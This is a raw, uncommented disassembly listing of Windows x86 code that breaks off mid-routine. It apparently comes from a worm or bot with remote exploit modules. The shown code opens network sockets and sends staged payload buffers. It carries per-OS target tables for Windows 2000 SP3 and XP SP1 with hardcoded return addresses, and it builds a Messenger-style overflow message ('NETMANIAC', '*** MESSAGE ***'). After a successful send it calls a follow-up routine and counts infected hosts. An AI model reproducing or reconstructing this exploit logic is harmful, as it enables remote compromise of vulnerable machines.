call ds:dword_451540 cmp eax, 0FFFFFFFFh jnz short loc_40BB62 loc_40BB5B: ; CODE XREF: sub_40B8D0+2B9j ; sub_40B8D0+2E0j ... xor al, al jmp loc_40BD10 ; --------------------------------------------------------------------------- loc_40BB62: ; CODE XREF: sub_40B8D0+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call ds:dword_45150C push ebx push 68h push offset dword_445DEC push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40BB5B push ebx lea eax, [ebp+var_744] push esi push eax push edi call ds:dword_45150C push ebx push 0A0h push offset dword_445E58 push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40BB5B push ebx lea eax, [ebp+var_744] push esi push eax push edi call ds:dword_45150C cmp [ebp+arg_C0], ebx jz loc_40BC78 push 68h lea eax, [ebp+var_89B4] push offset dword_446010 push eax call sub_41E840 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_41E840 push 70h lea eax, [ebp+var_68DC] push offset dword_44607C push eax call sub_41E840 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_41E840 push 84h lea eax, [ebp+var_5DA8] push offset dword_4460F0 push eax call sub_41E840 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz loc_40BB5B push ebx lea eax, [ebp+var_744] push esi push eax push edi call ds:dword_45150C push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_40BCCE ; --------------------------------------------------------------------------- loc_40BC78: ; CODE XREF: sub_40B8D0+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_445EFC push eax call sub_41E840 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_41E840 push 90h lea eax, [ebp+var_245C] push offset off_445F7C push eax call sub_41E840 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_40BCCE: ; CODE XREF: sub_40B8D0+3A6j push eax push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz loc_40BB5B push 12Ch call ds:dword_4F12F4 ; Sleep push ds:dword_446178 lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_417E0E add esp, 0C0h test al, al setnz al loc_40BD10: ; CODE XREF: sub_40B8D0+28Dj pop edi pop esi pop ebx leave retn sub_40B8D0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 654h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_41D100 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call ds:dword_451530 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call ds:dword_4514F4 push 6 push 1 push 2 mov [ebp-12h], ax call ds:dword_451570 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40BE0E lea eax, [ebp-14h] push 10h push eax push ebx call ds:dword_45149C cmp eax, 0FFFFFFFFh jz loc_40BE0E push edi push 89h push offset dword_445B70 push ebx call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40BE0E mov esi, 640h push edi lea eax, [ebp-654h] push esi push eax push ebx call ds:dword_45150C push edi push 0A8h push offset dword_445BFC push ebx call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40BE0E push edi lea eax, [ebp-654h] push esi push eax push ebx call ds:dword_45150C push edi push 0DEh push offset dword_445CA8 push ebx call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40BE0E push edi lea eax, [ebp-654h] push esi push eax push ebx call ds:dword_45150C movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_40BE36 dec eax jz short loc_40BE15 loc_40BE0E: ; CODE XREF: seg000:0040BD69j ; seg000:0040BD7Fj ... xor eax, eax jmp loc_40BEA6 ; --------------------------------------------------------------------------- loc_40BE15: ; CODE XREF: seg000:0040BE0Cj push edi push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40B8D0 add esp, 0C4h push 0 jmp short loc_40BE5A ; --------------------------------------------------------------------------- loc_40BE36: ; CODE XREF: seg000:0040BE09j push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40B8D0 add esp, 0C4h test al, al jnz short loc_40BE7A push 1 loc_40BE5A: ; CODE XREF: seg000:0040BE34j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40B8D0 add esp, 0C4h test al, al jz short loc_40BE81 loc_40BE7A: ; CODE XREF: seg000:0040BE56j mov dword ptr [ebp-4], 1 loc_40BE81: ; CODE XREF: seg000:0040BE78j push ebx call ds:dword_451588 cmp dword ptr [ebp-4], 0 jz short loc_40BEA3 mov eax, [ebp+0B0h] shl eax, 6 inc ds:dword_4439F8[eax] lea eax, dword_4439F8[eax] loc_40BEA3: ; CODE XREF: seg000:0040BE8Cj push 1 pop eax loc_40BEA6: ; CODE XREF: seg000:0040BE10j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEAB proc near ; CODE XREF: seg000:0040C400p ; seg000:0040C422p ... var_89B8 = byte ptr -89B8h var_8950 = byte ptr -8950h var_68E0 = byte ptr -68E0h var_6870 = byte ptr -6870h var_5DAC = byte ptr -5DACh var_4808 = byte ptr -4808h var_4807 = byte ptr -4807h var_3774 = byte ptr -3774h var_2CB0 = byte ptr -2CB0h var_2CAF = byte ptr -2CAFh var_2CAC = byte ptr -2CACh var_24C8 = byte ptr -24C8h var_24B8 = byte ptr -24B8h var_2194 = byte ptr -2194h var_2190 = byte ptr -2190h var_2184 = byte ptr -2184h var_1EFC = byte ptr -1EFCh var_1E80 = byte ptr -1E80h var_16B0 = byte ptr -16B0h var_1205 = byte ptr -1205h var_F18 = byte ptr -0F18h var_E78 = byte ptr -0E78h var_76C = dword ptr -76Ch var_75C = byte ptr -75Ch var_748 = byte ptr -748h var_108 = byte ptr -108h var_107 = byte ptr -107h var_B8 = byte ptr -0B8h var_B5 = byte ptr -0B5h var_8B = byte ptr -8Bh var_89 = byte ptr -89h var_88 = byte ptr -88h var_40 = byte ptr -40h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B8h call sub_41DEB0 mov eax, ds:dword_44628C push ebx mov [ebp+var_10], eax mov eax, ds:dword_446290 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_40] push offset dword_446294 push eax call sub_41D260 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_107] loc_40BEEA: ; CODE XREF: sub_40BEAB+4Ej mov cl, [ebp+esi+var_40] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40BEEA push 60h lea eax, [ebp+var_B8] push offset dword_445D88 push eax call sub_41E840 lea eax, [ebp+var_40] push eax call sub_41AC70 shl eax, 1 push eax lea eax, [ebp+var_108] push eax lea eax, [ebp+var_88] push eax call sub_41E840 add esp, 1Ch lea eax, [ebp+var_40] push 9 push (offset aC_5+3) push eax call sub_41AC70 pop ecx lea eax, [ebp+eax*2+var_89] push eax call sub_41E840 lea eax, [ebp+var_40] push eax call sub_41AC70 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B5] push eax call sub_41E840 lea eax, [ebp+var_40] push eax call sub_41AC70 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_8B] push eax call sub_41E840 mov ax, word ptr ds:dword_4E2638 add esp, 2Ch push eax call ds:dword_4514F4 push [ebp+arg_0] xor eax, 9999h mov [ebp+var_18], eax call sub_402617 pop ecx push eax call ds:dword_451530 xor eax, 99999999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_18] push eax push offset loc_44590E call sub_41E840 lea eax, [ebp+var_8] push 4 push eax push offset byte_445907 call sub_41E840 add esp, 18h cmp [ebp+arg_C0], ebx jz loc_40C0CF mov edi, 0DACh lea eax, [ebp+var_2CAC] push edi push 90h push eax call sub_41D100 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4461B8[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_24C8] push eax call sub_41E840 mov esi, offset loc_445898 push esi call sub_41AC70 push eax lea eax, [ebp+var_24B8] push esi push eax call sub_41E840 push 4 lea eax, [ebp+var_2194] push offset loc_4462A0 push eax call sub_41E840 push 4 lea eax, [ebp+var_2190] push [ebp+var_14] push eax call sub_41E840 add esp, 40h push esi call sub_41AC70 push eax lea eax, [ebp+var_2184] push esi push eax call sub_41E840 add esp, 10h xor esi, esi lea eax, [ebp+var_4807] loc_40C088: ; CODE XREF: sub_40BEAB+1EEj mov cl, [ebp+esi+var_2CAC] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_40C088 mov esi, 1C52h lea eax, [ebp+var_89B8] push esi push 31h push eax mov [ebp+var_2CB0], bl mov [ebp+var_2CAF], bl call sub_41D100 push esi lea eax, [ebp+var_68E0] push 31h push eax call sub_41D100 add esp, 18h jmp short loc_40C126 ; --------------------------------------------------------------------------- loc_40C0CF: ; CODE XREF: sub_40BEAB+140j push 7D0h lea eax, [ebp+var_F18] push 90h push eax call sub_41D100 mov esi, offset loc_445898 push esi call sub_41AC70 push eax lea eax, [ebp+var_E78] push esi push eax call sub_41E840 lea eax, [ebp+var_10] push eax call sub_41AC70 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_75C] push eax call sub_41E840 mov eax, ds:dword_4461B8 add esp, 2Ch mov [ebp+var_76C], eax loc_40C126: ; CODE XREF: sub_40BEAB+222j push 0E29h lea eax, [ebp+var_1EFC] push 31h push eax call sub_41D100 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B8] push eax push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz loc_40C2E3 mov esi, 640h push ebx lea eax, [ebp+var_748] push esi push eax push edi call ds:dword_45150C push ebx push 68h push offset dword_445DEC push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz loc_40C2E3 push ebx lea eax, [ebp+var_748] push esi push eax push edi call ds:dword_45150C push ebx push 0A0h push offset dword_445E58 push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz loc_40C2E3 push ebx lea eax, [ebp+var_748] push esi push eax push edi call ds:dword_45150C cmp [ebp+arg_C0], ebx jz loc_40C280 push 68h lea eax, [ebp+var_89B8] push offset dword_446010 push eax call sub_41E840 lea eax, [ebp+var_4808] push 1B5Ah push eax lea eax, [ebp+var_8950] push eax call sub_41E840 push 70h lea eax, [ebp+var_68E0] push offset dword_44607C push eax call sub_41E840 lea eax, [ebp+var_3774] push 0A5Eh push eax lea eax, [ebp+var_6870] push eax call sub_41E840 push 84h lea eax, [ebp+var_5DAC] push offset dword_4460F0 push eax call sub_41E840 add esp, 3Ch lea eax, [ebp+var_89B8] push ebx push 10FCh push eax push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz loc_40C2E3 push ebx lea eax, [ebp+var_748] push esi push eax push edi call ds:dword_45150C push ebx push 0FDCh lea eax, [ebp+var_68E0] jmp short loc_40C2D6 ; --------------------------------------------------------------------------- loc_40C280: ; CODE XREF: sub_40BEAB+325j push 7Ch lea eax, [ebp+var_1EFC] push offset dword_445EFC push eax call sub_41E840 lea eax, [ebp+var_F18] push 7D0h push eax lea eax, [ebp+var_1E80] push eax call sub_41E840 push 90h lea eax, [ebp+var_16B0] push offset off_445F7C push eax call sub_41E840 add esp, 24h mov [ebp+var_1205], bl lea eax, [ebp+var_1EFC] push ebx push 0CF8h loc_40C2D6: ; CODE XREF: sub_40BEAB+3D3j push eax push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jnz short loc_40C2E7 loc_40C2E3: ; CODE XREF: sub_40BEAB+2B1j ; sub_40BEAB+2DEj ... xor al, al jmp short loc_40C2E9 ; --------------------------------------------------------------------------- loc_40C2E7: ; CODE XREF: sub_40BEAB+436j mov al, 1 loc_40C2E9: ; CODE XREF: sub_40BEAB+43Aj pop edi pop esi pop ebx leave retn sub_40BEAB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 654h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_41D100 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call ds:dword_451530 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call ds:dword_4514F4 push 6 push 1 push 2 mov [ebp-12h], ax call ds:dword_451570 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40C3E7 lea eax, [ebp-14h] push 10h push eax push ebx call ds:dword_45149C cmp eax, 0FFFFFFFFh jz loc_40C3E7 push edi push 89h push offset dword_445B70 push ebx call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40C3E7 mov esi, 640h push edi lea eax, [ebp-654h] push esi push eax push ebx call ds:dword_45150C push edi push 0A8h push offset dword_445BFC push ebx call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40C3E7 push edi lea eax, [ebp-654h] push esi push eax push ebx call ds:dword_45150C push edi push 0DEh push offset dword_445CA8 push ebx call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40C3E7 push edi lea eax, [ebp-654h] push esi push eax push ebx call ds:dword_45150C movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_40C40F dec eax jz short loc_40C3EE loc_40C3E7: ; CODE XREF: seg000:0040C342j ; seg000:0040C358j ... xor eax, eax jmp loc_40C47F ; --------------------------------------------------------------------------- loc_40C3EE: ; CODE XREF: seg000:0040C3E5j push edi push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40BEAB add esp, 0C4h push 0 jmp short loc_40C433 ; --------------------------------------------------------------------------- loc_40C40F: ; CODE XREF: seg000:0040C3E2j push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40BEAB add esp, 0C4h test al, al jnz short loc_40C453 push 1 loc_40C433: ; CODE XREF: seg000:0040C40Dj push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40BEAB add esp, 0C4h test al, al jz short loc_40C45A loc_40C453: ; CODE XREF: seg000:0040C42Fj mov dword ptr [ebp-4], 1 loc_40C45A: ; CODE XREF: seg000:0040C451j push ebx call ds:dword_451588 cmp dword ptr [ebp-4], 0 jz short loc_40C47C mov eax, [ebp+0B0h] shl eax, 6 inc ds:dword_4439F8[eax] lea eax, dword_4439F8[eax] loc_40C47C: ; CODE XREF: seg000:0040C465j push 1 pop eax loc_40C47F: ; CODE XREF: seg000:0040C3E9j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 2060h call sub_41DEB0 push ebx push esi push edi push 5 pop ecx mov esi, offset aWindows2000Sp3 ; "Windows 2000 SP 3 (en)" lea edi, [ebp-60h] xor eax, eax rep movsd movsw movsb lea edi, [ebp-49h] push 5 stosd stosw stosb pop ecx mov esi, offset aWindowsXpSp1En ; "Windows XP SP 1 (en)" lea edi, [ebp-38h] mov dword ptr [ebp-40h], 77EE044Ch mov dword ptr [ebp-3Ch], 768D693Eh xor eax, eax rep movsd movsb lea edi, [ebp-23h] push 1 stosd stosd stosb lea eax, [ebp+0Ch] mov dword ptr [ebp-18h], 77ED73B4h push eax mov dword ptr [ebp-14h], 7804BF52h call sub_417569 pop ecx cmp eax, 1 pop ecx jz loc_40C5E8 test eax, eax jz loc_40C5E8 push 2 pop edi cmp eax, edi jnz short loc_40C508 xor esi, esi jmp short loc_40C50E ; --------------------------------------------------------------------------- loc_40C508: ; CODE XREF: seg000:0040C502j mov esi, [ebp+0C0h] loc_40C50E: ; CODE XREF: seg000:0040C506j cmp eax, 3 jnz short loc_40C516 push 1 pop esi loc_40C516: ; CODE XREF: seg000:0040C511j push 10h lea eax, [ebp-10h] push 0 push eax call sub_41D100 add esp, 0Ch lea eax, [ebp+0Ch] mov [ebp-10h], di push eax call ds:dword_451530 push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call ds:dword_4514F4 mov [ebp-0Eh], ax lea eax, [esi+esi*4] shl eax, 3 push dword ptr [ebp+eax-40h] push dword ptr [ebp+eax-3Ch] lea eax, [ebp-2060h] push 2000h push eax call sub_40C5EF add esp, 10h mov ebx, eax push 11h push edi push edi call ds:dword_451570 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C5E8 lea eax, [ebp-10h] push 10h push eax push 0 lea eax, [ebp-2060h] push ebx push eax push esi call ds:dword_451554 cmp eax, 0FFFFFFFFh jz short loc_40C5E8 push esi call ds:dword_451588 push 1F4h call ds:dword_4F12F4 ; Sleep push 23E7h lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_417E0E add esp, 0C0h cmp al, 1 jnz short loc_40C5E8 mov eax, [ebp+0B0h] push 1 shl eax, 6 inc ds:dword_4439F8[eax] lea eax, dword_4439F8[eax] pop eax jmp short loc_40C5EA ; --------------------------------------------------------------------------- loc_40C5E8: ; CODE XREF: seg000:0040C4EFj ; seg000:0040C4F7j ... xor eax, eax loc_40C5EA: ; CODE XREF: seg000:0040C5E6j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C5EF proc near ; CODE XREF: seg000:0040C561p var_13DC = byte ptr -13DCh var_13CC = byte ptr -13CCh var_11E8 = byte ptr -11E8h var_AE4 = byte ptr -0AE4h var_68E = byte ptr -68Eh var_683 = dword ptr -683h var_67F = dword ptr -67Fh var_67B = byte ptr -67Bh var_551 = byte ptr -551h var_54 = byte ptr -54h var_34 = byte ptr -34h var_24 = byte ptr -24h var_18 = byte ptr -18h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 13DCh call sub_41DEB0 push ebx push esi push edi mov esi, offset dword_446510 lea edi, [ebp+var_10] push 7 movsd movsd movsd movsb mov esi, offset aNetmaniac ; "NETMANIAC" lea edi, [ebp+var_24] movsd movsd movsw mov esi, offset aAdik ; "ADIK" lea edi, [ebp+var_18] movsd movsb pop ecx mov esi, offset byte_446534 lea edi, [ebp+var_54] push [ebp+arg_4] rep movsd movsw movsb mov esi, offset byte_446554 lea edi, [ebp+var_34] movsd movsd movsd movsb mov esi, offset aMessage ; "*** MESSAGE ***" lea edi, [ebp+var_13DC] movsd movsd movsd movsd mov esi, [ebp+arg_0] xor eax, eax mov ecx, 4DEh lea edi, [ebp+var_13CC] push eax push esi rep stosd call sub_41D100 push 50h push offset dword_44648C push esi call sub_41E840 lea eax, [ebp+var_24] push eax call sub_41AC70 mov edi, eax lea eax, [ebp+var_10] push 0Ch push eax lea eax, [esi+50h] inc edi push eax mov [ebp+var_10], edi mov [ebp+var_8], edi call sub_41E840 lea eax, [ebp+var_24] push eax lea eax, [esi+5Ch] push eax call sub_41E550 dec edi lea eax, [ebp+var_18] and edi, 0FFFFFFFCh push eax add edi, 60h call sub_41AC70 mov ebx, eax push 0Ch inc ebx mov [ebp+var_10], ebx mov [ebp+var_8], ebx lea eax, [ebp+var_10] push eax lea eax, [edi+esi] push eax call sub_41E840 add esp, 40h add edi, 0Ch lea eax, [ebp+var_18] push eax lea eax, [edi+esi] push eax call sub_41E550 dec ebx push 8F8h and ebx, 0FFFFFFFCh lea eax, [ebp+var_13DC] push 90h push eax lea edi, [edi+ebx+4] call sub_41D100 push 1E4h lea eax, [ebp+var_11E8] push offset loc_4462A8 push eax call sub_41E840 push 708h lea eax, [ebp+var_AE4] push 14h push eax call sub_41D100 lea eax, [ebp+var_34] push 0Dh push eax lea eax, [ebp+var_68E] push eax call sub_41E840 mov eax, [ebp+arg_8] push 1Eh mov [ebp+var_683], eax mov eax, [ebp+arg_C] mov [ebp+var_67F], eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_67B] push eax call sub_41E840 mov eax, 0E8Ch add esp, 44h sub eax, edi push eax push offset aMsgBodySizeD ; "[*] Msg body size: %d\n" push offset dword_44FA90 call sub_41E440 lea eax, [ebp+var_551] sub eax, edi and byte ptr [eax], 0 lea eax, [ebp+var_13DC] push eax call sub_41AC70 mov ebx, eax lea eax, [ebp+var_10] push 0Ch push eax lea eax, [edi+esi] inc ebx push eax mov [ebp+var_10], ebx mov [ebp+var_8], ebx call sub_41E840 add edi, 0Ch lea eax, [ebp+var_13DC] push eax lea eax, [edi+esi] push eax call sub_41E550 push 0 add edi, ebx call loc_41ED90 mov [esi+28h], eax add esp, 28h lea eax, [edi-50h] mov [esi+4Ah], eax mov eax, edi pop edi pop esi pop ebx leave retn sub_40C5EF endp ; =============== S U B R O U T I N E ======================================= sub_40C7D3 proc near ; CODE XREF: sub_40CA75+Ep ; sub_40CA75+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C7D3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push dword ptr [ebp+8] call sub_41AC70 pop ecx push eax lea ecx, [ebp-8] push dword ptr [ebp+8] call sub_40C80B mov ecx, [eax] mov [esi], ecx mov eax, [eax+4] mov [esi+4], eax mov eax, esi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= sub_40C80B proc near ; CODE XREF: seg000:0040C7F5p ; sub_40CA75+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41AE40 mov edi, eax pop ecx test edi, edi jz short loc_40C83D push ebx push 0 push edi call sub_41D100 push ebx push [esp+1Ch+arg_0] push edi call sub_41E840 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C83D: ; CODE XREF: sub_40C80B+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C80B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C845 proc near ; CODE XREF: sub_40C93F+18p ; sub_40C9B9+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41AE40 mov esi, eax pop ecx test esi, esi jz short loc_40C891 push edi push 0 push esi call sub_41D100 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41E840 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41E840 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C891: ; CODE XREF: sub_40C845+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C845 endp ; =============== S U B R O U T I N E ======================================= sub_40C89A proc near ; CODE XREF: sub_40C93F+5Ep ; sub_40C93F+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C8AA push eax call sub_41B8B0 pop ecx loc_40C8AA: ; CODE XREF: sub_40C89A+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C89A endp ; =============== S U B R O U T I N E ======================================= sub_40C8B3 proc near ; CODE XREF: sub_40C93F+20p ; sub_40CA1A+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C8E0 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41AE40 mov edi, eax pop ecx test edi, edi jnz short loc_40C8E4 loc_40C8E0: ; CODE XREF: sub_40C8B3+Dj xor al, al jmp short loc_40C93B ; --------------------------------------------------------------------------- loc_40C8E4: ; CODE XREF: sub_40C8B3+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41D100 add esp, 0Ch cmp ebx, 1 jnz short loc_40C909 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C923 ; --------------------------------------------------------------------------- loc_40C909: ; CODE XREF: sub_40C8B3+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C923: ; CODE XREF: sub_40C8B3+54j push eax call sub_41E840 add esp, 0Ch push dword ptr [esi] call sub_41B8B0 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C93B: ; CODE XREF: sub_40C8B3+2Fj pop edi pop esi pop ebx retn sub_40C8B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C93F proc near ; CODE XREF: sub_40CA75+89p ; sub_40CA75+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4E247C call sub_40C845 lea ecx, [ebp+var_8] call sub_40C8B3 mov eax, [ebp+var_4] inc eax push eax call sub_41AE40 mov edi, eax pop ecx test edi, edi jnz short loc_40C979 xor al, al jmp short loc_40C9B5 ; --------------------------------------------------------------------------- loc_40C979: ; CODE XREF: sub_40C93F+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41D100 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41E840 add esp, 18h mov ecx, esi call sub_40C89A mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C89A mov al, 1 loc_40C9B5: ; CODE XREF: sub_40C93F+38j pop edi pop esi leave retn sub_40C93F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9B9 proc near ; CODE XREF: sub_40C9ED+14p ; sub_40CA0A+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C845 mov ecx, esi call sub_40C89A mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40C9B9 endp ; =============== S U B R O U T I N E ======================================= sub_40C9ED proc near ; CODE XREF: sub_40CA75+F0p ; sub_40CA75+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AC70 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40C9B9 pop esi retn 4 sub_40C9ED endp ; =============== S U B R O U T I N E ======================================= sub_40CA0A proc near ; CODE XREF: sub_40CA56+Bp ; sub_40CA75+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40C9B9 retn 8 sub_40CA0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1A proc near ; CODE XREF: sub_40CA56+16p ; sub_40CA75+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C8B3 test al, al jz short loc_40CA53 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4468F7+1) call sub_40C845 mov ecx, esi call sub_40C89A mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CA53: ; CODE XREF: sub_40CA1A+Fj pop esi leave retn sub_40CA1A endp ; =============== S U B R O U T I N E ======================================= sub_40CA56 proc near ; CODE XREF: sub_40CA75+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA0A test al, al jz short loc_40CA71 mov ecx, esi call sub_40CA1A loc_40CA71: ; CODE XREF: sub_40CA56+12j pop esi retn 8 sub_40CA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA75 proc near ; CODE XREF: seg000:0040D2D4p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 